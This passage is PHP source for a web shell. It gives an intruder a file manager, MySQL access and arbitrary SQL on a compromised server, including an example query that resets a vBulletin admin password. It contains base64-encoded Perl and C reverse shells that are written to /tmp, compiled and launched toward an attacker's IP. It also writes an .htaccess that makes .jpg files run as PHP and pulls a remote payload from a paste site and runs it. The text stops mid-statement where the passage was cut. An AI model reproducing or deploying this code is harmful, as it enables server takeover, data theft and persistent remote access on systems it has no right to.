<form action="" method="post" id="godir" name="godir">  <tr>    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>    <td nowrap><input class="bt" value="GO" type="submit"></td>  </tr>  </form></table><script type="text/javascript">function createdir(){	var newdirname;	newdirname = prompt('Please input the directory name:', '');	if (!newdirname) return;	$('createdir').newdirname.value=newdirname;	$('createdir').submit();}function fileperm(pfile){	var newperm;	newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');	if (!newperm) return;	$('fileperm').newperm.value=newperm;	$('fileperm').pfile.value=pfile;	$('fileperm').submit();}function copyfile(sname){	var tofile;	tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');	if (!tofile) return;	$('copyfile').tofile.value=tofile;	$('copyfile').sname.value=sname;	$('copyfile').submit();}function rename(oldname){	var newfilename;	newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');	if (!newfilename) return;	$('rename').newfilename.value=newfilename;	$('rename').oldname.value=oldname;	$('rename').submit();}function dofile(doing,thefile,m){	if (m && !confirm(m)) {		return;	}	$('filelist').doing.value=doing;	if (thefile){		$('filelist').thefile.value=thefile;	}	$('filelist').submit();}function createfile(nowpath){	var filename;	filename = prompt('Please input the file name:', '');	if (!filename) return;	opfile('editfile',nowpath + filename,nowpath);}function opfile(action,opfile,dir){	$('fileopform').action.value=action;	$('fileopform').opfile.value=opfile;	$('fileopform').dir.value=dir;	$('fileopform').submit();}function godir(dir,view_writable){	if (view_writable) {		$('godir').view_writable.value=1;	}	$('godir').dir.value=dir;	$('godir').submit();}</script>  <?php	tbhead();	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');	p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');	p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');	if ($view_writable) {		p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');	} else {		p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');	}	p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');	if (IS_WIN && IS_COM) {		$obj = new COM('scripting.filesystemobject');		if ($obj && is_object($obj)) {			$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');			foreach($obj->Drives as $drive) {				if ($drive->DriveType == 2) {					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');				} else {					p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');				}			}		}	}	p('</td></tr></form>');	p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');	// Get path	$dirdata=array();	$filedata=array();	if ($view_writable) {		$dirdata = GetList($nowpath);	} else {		// Open dir		[email protected]($dir);		while ([email protected]($dirs)) {			$filepath=$nowpath.$file;			if(@is_dir($filepath)){				$dirdb['filename']=$file;				$dirdb['mtime'][email protected]('Y-m-d H:i:s',filemtime($filepath));				$dirdb['dirchmod']=getChmod($filepath);				$dirdb['dirperm']=getPerms($filepath);				$dirdb['fileowner']=getUser($filepath);				$dirdb['dirlink']=$nowpath;				$dirdb['server_link']=$filepath;				$dirdb['client_link']=ue($filepath);				$dirdata[]=$dirdb;			} else {				$filedb['filename']=$file;				$filedb['size']=sizecount(@filesize($filepath));				$filedb['mtime'][email protected]('Y-m-d H:i:s',filemtime($filepath));				$filedb['filechmod']=getChmod($filepath);				$filedb['fileperm']=getPerms($filepath);				$filedb['fileowner']=getUser($filepath);				$filedb['dirlink']=$nowpath;				$filedb['server_link']=$filepath;				$filedb['client_link']=ue($filepath);				$filedata[]=$filedb;			}		}// while		unset($dirdb);		unset($filedb);		@closedir($dirs);	}	@sort($dirdata);	@sort($filedata);	$dir_i = '0';	foreach($dirdata as $key => $dirdb){		if($dirdb['filename']!='..' && $dirdb['filename']!='.') {			$thisbg = bg();			p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');			p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');			p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');			p('<td nowrap>'.$dirdb['mtime'].'</td>');			p('<td nowrap>--</td>');			p('<td nowrap>');			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');			p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');			p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');			p('</tr>');			$dir_i++;		} else {			if($dirdb['filename']=='..') {				p('<tr class=fout>');				p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');				p('</tr>');			}		}	}	p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');	p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');	makehide('action','file');	makehide('thefile');	makehide('doing');	makehide('dir',$nowpath);	$file_i = '0';	foreach($filedata as $key => $filedb){		if($filedb['filename']!='..' && $filedb['filename']!='.') {			$fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);			$thisbg = bg();			p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');			p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');			p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');			p('<td nowrap>'.$filedb['mtime'].'</td>');			p('<td nowrap>'.$filedb['size'].'</td>');			p('<td nowrap>');			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');			p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');			p('<td nowrap>');			p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');			p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');			p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');			p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');			p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');			p('</td></tr>');			$file_i++;		}	}	p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');	p('</form></table>');}// end direlseif ($action == 'sqlfile') {	if($doing=="mysqlupload"){		$file = $_FILES['uploadfile'];		$filename = $file['tmp_name'];		if (file_exists($savepath)) {			m('The goal file has already existed');		} else {			if(!$filename) {				m('Please choose a file');			} else {				[email protected]($filename,'r');				[email protected]($fp, filesize($filename));				@fclose($fp);				$contents = bin2hex($contents);				if(!$upname) $upname = $file['name'];				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");				m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());			}		}	}?><script type="text/javascript">function mysqlfile(doing){	if(!doing) return;	$('doing').value=doing;	$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;	$('mysqlfile').dbport.value=$('dbinfo').dbport.value;	$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;	$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;	$('mysqlfile').dbname.value=$('dbinfo').dbname.value;	$('mysqlfile').charset.value=$('dbinfo').charset.value;	$('mysqlfile').submit();}</script><?php	!$dbhost && $dbhost = 'localhost';	!$dbuser && $dbuser = 'root';	!$dbport && $dbport = '3306';	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');	formhead(array('title'=>'MYSQL Inion','name'=>'dbinfo'));	makehide('action','sqlfile');	p('<p>');	p('DBHost:');	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));	p(':');	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));	p('DBUser:');	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));	p('DBPass:');	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));	p('DBName:');	makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));	p('DBCharset:');	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));	p('</p>');	formfoot();	p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');	p('<h2>Upload file</h2>');	p('<p><b>This operation the DB user must has FILE privilege</b></p>');	p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');	p('<h2>Download file</h2>');	p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');	makehide('dbhost');	makehide('dbport');	makehide('dbuser');	makehide('dbpass');	makehide('dbname');	makehide('charset');	makehide('doing');	makehide('action','sqlfile');	p('</form>');}elseif ($action == 'sqladmin') {	!$dbhost && $dbhost = 'localhost';	!$dbuser && $dbuser = 'root';	!$dbport && $dbport = '3306';	$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';	if(isset($dbhost)){		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";	}	if(isset($dbuser)) {		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";	}	if(isset($dbpass)) {		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";	}	if(isset($dbport)) {		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";	}	if(isset($dbname)) {		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";	}	if(isset($charset)) {		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";	}	if ($doing == 'backupmysql' && $saveasfile) {		if (!$table) {			m('Please choose the table');		} else {			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);			$table = array_flip($table);			$fp = @fopen($path,'w');			if ($fp) {				$result = q('SHOW tables');				if (!$result) p('<h2>'.mysql_error().'</h2>');				$mysqldata = '';				while ($currow = mysql_fetch_array($result)) {					if (isset($table[$currow[0]])) {						sqldumptable($currow[0], $fp);					}				}				fclose($fp);				$fileurl = str_replace(SA_ROOT,'',$path);				m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');				mysql_close();			} else {				m('Backup failed');			}		}	}	if ($insert && $insertsql) {		$keystr = $valstr = $tmp = '';		foreach($insertsql as $key => $val) {			if ($val) {				$keystr .= $tmp.$key;				$valstr .= $tmp."'".addslashes($val)."'";				$tmp = ',';			}		}		if ($keystr && $valstr) {			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());		}	}	if ($update && $insertsql && $base64) {		$valstr = $tmp = '';		foreach($insertsql as $key => $val) {			$valstr .= $tmp.$key."='".addslashes($val)."'";			$tmp = ',';		}		if ($valstr) {			$where = base64_decode($base64);			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());		}	}	if ($doing == 'del' && $base64) {		$where = base64_decode($base64);		$delete_sql = "DELETE FROM $tablename WHERE $where";		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);		m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());	}	if ($tablename && $doing == 'drop') {		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);		if (q("DROP TABLE $tablename")) {			m('Drop table of success');			$tablename = '';		} else {			m(mysql_error());		}	}	$charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');	formhead(array('title'=>'MYSQL Manager'));	makehide('action','sqladmin');	p('<p>');	p('DBHost:');	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));	p(':');	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));	p('DBUser:');	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));	p('DBPass:');	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));	p('DBCharset:');	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));	makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));	p('</p>');	formfoot();?><script type="text/javascript">function editrecord(action, base64, tablename){	if (action == 'del') {		if (!confirm('Is or isn\'t deletion record?')) return;	}	$('recordlist').doing.value=action;	$('recordlist').base64.value=base64;	$('recordlist').tablename.value=tablename;	$('recordlist').submit();}function moddbname(dbname) {	if(!dbname) return;	$('setdbname').dbname.value=dbname;	$('setdbname').submit();}function settable(tablename,doing,page) {	if(!tablename) return;	if (doing) {		$('settable').doing.value=doing;	}	if (page) {		$('settable').page.value=page;	}	$('settable').tablename.value=tablename;	$('settable').submit();}</script><?php	// SQL	formhead(array('name'=>'recordlist'));	makehide('doing');	makehide('action','sqladmin');	makehide('base64');	makehide('tablename');	p($dbform);	formfoot();	// Data	formhead(array('name'=>'setdbname'));	makehide('action','sqladmin');	p($dbform);	if (!$dbname) {		makehide('dbname');	}	formfoot();	formhead(array('name'=>'settable'));	makehide('action','sqladmin');	p($dbform);	makehide('tablename');	makehide('page',$page);	makehide('doing');	formfoot();	$cachetables = array();	$pagenum = 30;	$page = intval($page);	if($page) {		$start_limit = ($page - 1) * $pagenum;	} else {		$start_limit = 0;		$page = 1;	}	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);		// get mysql server		$mysqlver = mysql_get_server_info();		p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');		$highver = $mysqlver > '4.1' ? 1 : 0;		// Show database		$query = q("SHOW DATABASES");		$dbs = array();		$dbs[] = '-- Select a database --';		while($db = mysql_fetch_array($query)) {			$dbs[$db['Database']] = $db['Database'];		}		makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));		$tabledb = array();		if ($dbname) {			p('<p>');			p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');			if ($tablename) {				p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');			}			p('</p>');			mysql_select_db($dbname);			$getnumsql = '';			$runquery = 0;			if ($sql_query) {				$runquery = 1;			}			$allowedit = 0;			if ($tablename && !$sql_query) {				$sql_query = "SELECT * FROM $tablename";				$getnumsql = $sql_query;				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";				$allowedit = 1;			}			p('<form action="'.$self.'" method="POST">');			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>			</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');			makehide('tablename', $tablename);			makehide('action','sqladmin');			p($dbform);			p('</form>');			if ($tablename || ($runquery && $sql_query)) {				if ($doing == 'structure') {					$result = q("SHOW COLUMNS FROM $tablename");					$rowdb = array();					while($row = mysql_fetch_array($result)) {						$rowdb[] = $row;					}					p('<table border="0" cellpadding="3" cellspacing="0">');					p('<tr class="head">');					p('<td>Field</td>');					p('<td>Type</td>');					p('<td>Null</td>');					p('<td>Key</td>');					p('<td>Default</td>');					p('<td>Extra</td>');					p('</tr>');					foreach ($rowdb as $row) {						$thisbg = bg();						p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');						p('<td>'.$row['Field'].'</td>');						p('<td>'.$row['Type'].'</td>');						p('<td>'.$row['Null'].'&nbsp;</td>');						p('<td>'.$row['Key'].'&nbsp;</td>');						p('<td>'.$row['Default'].'&nbsp;</td>');						p('<td>'.$row['Extra'].'&nbsp;</td>');						p('</tr>');					}					tbfoot();				} elseif ($doing == 'insert' || $doing == 'edit') {					$result = q('SHOW COLUMNS FROM '.$tablename);					while ($row = mysql_fetch_array($result)) {						$rowdb[] = $row;					}					$rs = array();					if ($doing == 'insert') {						p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');					} else {						p('<h2>Update record in '.$tablename.' table &raquo;</h2>');						$where = base64_decode($base64);						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");						$rs = mysql_fetch_array($result);					}					p('<form method="post" action="'.$self.'">');					p($dbform);					makehide('action','sqladmin');					makehide('tablename',$tablename);					p('<table border="0" cellpadding="3" cellspacing="0">');					foreach ($rowdb as $row) {						if ($rs[$row['Field']]) {							$value = htmlspecialchars($rs[$row['Field']]);						} else {							$value = '';						}						$thisbg = bg();						p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');						p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');					}					if ($doing == 'insert') {						p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');					} else {						p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');						makehide('base64', $base64);					}					p('</table></form>');				} else {					$querys = @explode(';',$sql_query);					foreach($querys as $num=>$query) {						if ($query) {							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");							switch(qy($query))							{								case 0:									p('<h2>Error : '.mysql_error().'</h2>');									break;								case 1:									if (strtolower(substr($query,0,13)) == 'select * from') {										$allowedit = 1;									}									if ($getnumsql) {										$tatol = mysql_num_rows(q($getnumsql));										$multipage = multi($tatol, $pagenum, $page, $tablename);									}									if (!$tablename) {										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);										$tablename = $matches[1][0];									}									$result = q($query);									p($multipage);									p('<table border="0" cellpadding="3" cellspacing="0">');									p('<tr class="head">');									if ($allowedit) p('<td>Action</td>');									$fieldnum = @mysql_num_fields($result);									for($i=0;$i<$fieldnum;$i++){										$name = @mysql_field_name($result, $i);										$type = @mysql_field_type($result, $i);										$len = @mysql_field_len($result, $i);										p("<td nowrap>$name<br><span>$type($len)</span></td>");									}									p('</tr>');									while($mn = @mysql_fetch_assoc($result)){										$thisbg = bg();										p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');										$where = $tmp = $b1 = '';										foreach($mn as $key=>$inside){											if ($inside) {												$where .= $tmp.$key."='".addslashes($inside)."'";												$tmp = ' AND ';											}											$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';										}										$where = base64_encode($where);										if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');										p($b1);										p('</tr>');										unset($b1);									}									tbfoot();									p($multipage);									break;								case 2:									$ar = mysql_affected_rows();									p('<h2>affected rows : <b>'.$ar.'</b></h2>');									break;							}						}					}				}			} else {				$query = q("SHOW TABLE STATUS");				$table_num = $table_rows = $data_size = 0;				$tabledb = array();				while($table = mysql_fetch_array($query)) {					$data_size = $data_size + $table['Data_length'];					$table_rows = $table_rows + $table['Rows'];					$table['Data_length'] = sizecount($table['Data_length']);					$table_num++;					$tabledb[] = $table;				}				$data_size = sizecount($data_size);				unset($table);				p('<table border="0" cellpadding="0" cellspacing="0">');				p('<form action="'.$self.'" method="POST">');				makehide('action','sqladmin');				p($dbform);				p('<tr class="head">');				p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');				p('<td>Name</td>');				p('<td>Rows</td>');				p('<td>Data_length</td>');				p('<td>Create_time</td>');				p('<td>Update_time</td>');				if ($highver) {					p('<td>Engine</td>');					p('<td>Collation</td>');				}				p('</tr>');				foreach ($tabledb as $key => $table) {					$thisbg = bg();					p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');					p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');					p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');					p('<td>'.$table['Rows'].'</td>');					p('<td>'.$table['Data_length'].'</td>');					p('<td>'.$table['Create_time'].'</td>');					p('<td>'.$table['Update_time'].'</td>');					if ($highver) {						p('<td>'.$table['Engine'].'</td>');						p('<td>'.$table['Collation'].'</td>');					}					p('</tr>');				}				p('<tr class=fout>');				p('<td>&nbsp;</td>');				p('<td>Total tables: '.$table_num.'</td>');				p('<td>'.$table_rows.'</td>');				p('<td>'.$data_size.'</td>');				p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');				p('</tr>');				p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");				makehide('doing','backupmysql');				formfoot();				p("</table>");				fr($query);			}		}	}	tbfoot();	@mysql_close();}//end sql backupelseif ($action == 'backconnect') {	!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];	!$yourport && $yourport = '12345';	$usedb = array('perl'=>'perl','c'=>'c');	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";	if ($start && $yourip && $yourport && $use){		if ($use == 'perl') {			cf('/tmp/angel_bc',$back_connect);			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");		} else {			cf('/tmp/angel_bc.c',$back_connect_c);			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');			@unlink('/tmp/angel_bc.c');			$res = execute("/tmp/angel_bc $yourip $yourport &");		}		m("Now script try connect to $yourip port $yourport ...");	}	formhead(array('title'=>'Back Connect'));	makehide('action','backconnect');	p('<p>');	p('Your IP:');	makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));	p('Your Port:');	makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));	p('Use:');	makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));	makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));	p('</p>');	formfoot();}//end backconnect window via NC//CGI Shell      elseif ($action == 'cgi') {    mkdir('error', 0755);    chdir('error');    $kokdosya = ".htaccess";    $dosya_adi = "$kokdosya";    $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");    $metin = "Options +FollowSymLinks +IndexesDirectoryIndex default.html ## START ##Options +ExecCGIAddHandler cgi-script log cgi pl tg love h4 tgb x-zone AddType application/x-httpd-php .jpgRewriteEngine onRewriteRule (.*)\.war$ .log## END ##";    fwrite($dosya, $metin);    fclose($dosya);    $perltoolss = file_get_contents('https://ghostbin.com/paste/26353/raw');    $file = fopen("error.log", "w+");    $write = fwrite($file, base64_decode($perltoolss));    fclose($file);    chmod("error.log", 0755);    echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";}//end CGI//NewCommandelseif ($action == 'newcommand') {    $file       = fopen($dir . "command.php", "w+");    $perltoolss = 